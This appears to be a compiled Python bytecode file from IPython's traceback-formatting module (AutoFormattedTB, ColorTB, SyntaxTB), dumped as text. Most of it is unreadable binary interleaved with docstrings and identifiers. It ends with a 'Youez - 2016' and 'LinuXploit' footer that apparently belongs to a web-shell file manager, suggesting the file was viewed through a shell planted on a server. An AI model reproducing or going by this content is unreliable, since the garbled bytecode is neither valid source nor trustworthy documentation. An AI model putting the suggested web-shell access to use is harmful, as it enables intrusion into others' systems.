        AutoTB = AutoFormattedTB(mode = 'Verbose',color_scheme='Linux')
        try:
          ...
        except:
          AutoTB()  # or AutoTB(out=logfile) where logfile is an open file object
    Nc�R�|�|j}|���|�|�||||����|�d��|���	|���dS#t
$rt
d��YdSwxYw)aIPrint out a formatted exception traceback.

        Optional arguments:
          - out: an open file-like object to direct output to.

          - tb_offset: the number of frames to skip over in the stack, on a
          per-call basis (this overrides temporarily the instance's tb_offset
          given at initialization time.Nrri)rUr^r]r�rrjrk)rSr�rnr��outr�s      r0r�zAutoFormattedTB.__call__3s����;��,�C��	�	�����	�	�$�)�)�E�6�3�	�:�:�;�;�;��	�	�$�����	�	����	)��M�M�O�O�O�O�O�� �	)�	)�	)��'�(�(�(�(�(�(�	)���s�3B	�	B&�%B&r�c���|�tj��\}}}t|t��r|d|_n||_t
�||||||��Sr�)rXr5r�r�r�rmr�)rSr�r�r�r�r@s      r0r�z$AutoFormattedTB.structured_tracebackKsj���=�"�|�~�~��E�5�"��b�%� � �	���e�D�G�G��D�G��/�/��%���I�/I�K�K�	Kr2)NNNNN)NNNNr�)r�r�r�r�r�r�rrr2r0r�r�%s]��������59�%)�)�)�)�)�0?C�HI�K�K�K�K�K�Kr2r�c��eZdZdZdd�ZdS)�ColorTBz;Shorthand to initialize a FormattedTB in Linux colors mode.r�rc�0�tj|f||d�|��dS)N)rTrL)rmrK)rSrTrL�kwargss    r0rKzColorTB.__init__bs:����T�	:��&.�	:�	:�28�	:�	:�	:�	:�	:r2N)r�r)r�r�r�r�rKrrr2r0r�r�_s.������E�E�:�:�:�:�:�:r2r�c�B��eZdZdZd
d�Zd�Z		d�fd�	Zd�Zd	�Z�xZ	S)�SyntaxTBz:Extension which holds some state: the last exception valuerNc�P�t�||||���d|_dSrG)r�rK�last_syntax_error)rSrTrHrIs    r0rKzSyntaxTB.__init__js*������l�6�&��I�I�I�!%����r2c�N�||_t�||||��dSrl)r�r�r�r�s    r0r�zSyntaxTB.__call__ns(��!&�������e�U�E�2�2�2�2�2r2r�c���t|t��rut|jt��r[t|jt
��rAt
j|j��t
j|j|j��}|r||_	||_
tt|���
|||||���S)N)r�r�)r�r�r�r$r!r�r�r�r�r�r�rJr�r�)rSr�r�r�r�r��newtextrVs       �r0r�zSyntaxTB.structured_tracebackss����
�e�[�)�)�	%��u�~�s�3�3�	%��u�|�S�1�1�	%�
� ���0�0�0��'�����E�E�G��
%�$��
�!&����X�t�$�$�9�9�%���DM�W^�:�`�`�	`r2c�"�|j}d|_|S)z+Return the current error state and clear itN)r�)rS�es  r0�clear_err_statezSyntaxTB.clear_err_state�s���"��!%����r2c�,�d�|��S)r�r�r�r�s  r0r�zSyntaxTB.stb2text�s���w�w�s�|�|�r2)rNNr�)
r�r�r�r�rKr�r�r�r�r�r�s@r0r�r�gs��������D�D�&�&�&�&�3�3�3�
CG�%&�`�`�`�`�`�`� ���������r2r�c�t�	tj�|��S#t$r�	t|��cYS#t$r�	t	|dd��}|rt|��cYcYSt	|dd��}|rdt|��zcYcYSn#t$r�YYYdSxYwYYdSxYwxYw)z(Hopefully pretty robust repr equivalent.r�NrVz%s instancezUNRECOVERABLE REPR FAILURE)�pydocr�r	rjrf�	text_repr)r�r��klasss   r0r�r��s$��4��z���u�%�%�%������
�4�	4���;�;����� �	�	�	��	4�

4��u�j�$�7�7���+�$�T�?�?�*�*�*�*�*���{�D�9�9���<�(�9�U�+;�+;�;�;�;�;�;�;�<��$�
�
�
��
4�3�3�3�3�3����<�<�<�<������se�!�B7�?�B7�B4�!B�-B4�.B7�2$B�B4�B7�B4�B-�(B4�)B7�-B4�0B7�4B7c��d||��zS)Nz=%srr�r�r	s  r0rr�s���4�4��;�;��r2c��dS)Nr�rrr�s  r0rr�s��
�2r2)4r�r�r�r�rXr%r��typesr�typingrrrrr�pygments.formatters.terminal256r�pygments.stylesr	�IPythonr
�IPython.corer�IPython.core.display_trapr�IPython.core.excolorsr
�
IPython.utilsrr9r�IPython.utils.terminalr�IPython.utils.colorable�utils�	colorabler�DEFAULT_SCHEMEr�r1rB�	ColorablerDr�r�rmr�r�r�r�rrrrr2r0�<module>r�sH��O�O�t������������
�
�
�
���������������-�-�-�-�-�-�-�-�-�-�-�-�����@�@�@�@�@�@�-�-�-�-�-�-� ������!�!�!�!�!�!�1�1�1�1�1�1�2�2�2�2�2�2�+�+�+�+�+�+�#�#�#�#�#�#�4�4�4�4�4�4�+�+�+�+�+�+�+�+�+�����$�t�$�$�$�$�NBF�5�5�5�5�5�BH$�H$�H$�H$�H$�i�!�H$�H$�H$�X~E�~E�~E�~E�~E�W�~E�~E�~E�Dc)�c)�c)�c)�c)��c)�c)�c)�N]+�]+�]+�]+�]+�)�V�]+�]+�]+�B4K�4K�4K�4K�4K�k�4K�4K�4K�t:�:�:�:�:�k�:�:�:�$�$�$�$�$�v�$�$�$�P4�4�4�:!�����#������r2

Youez - 2016 - github.com/yon3zu
LinuXploit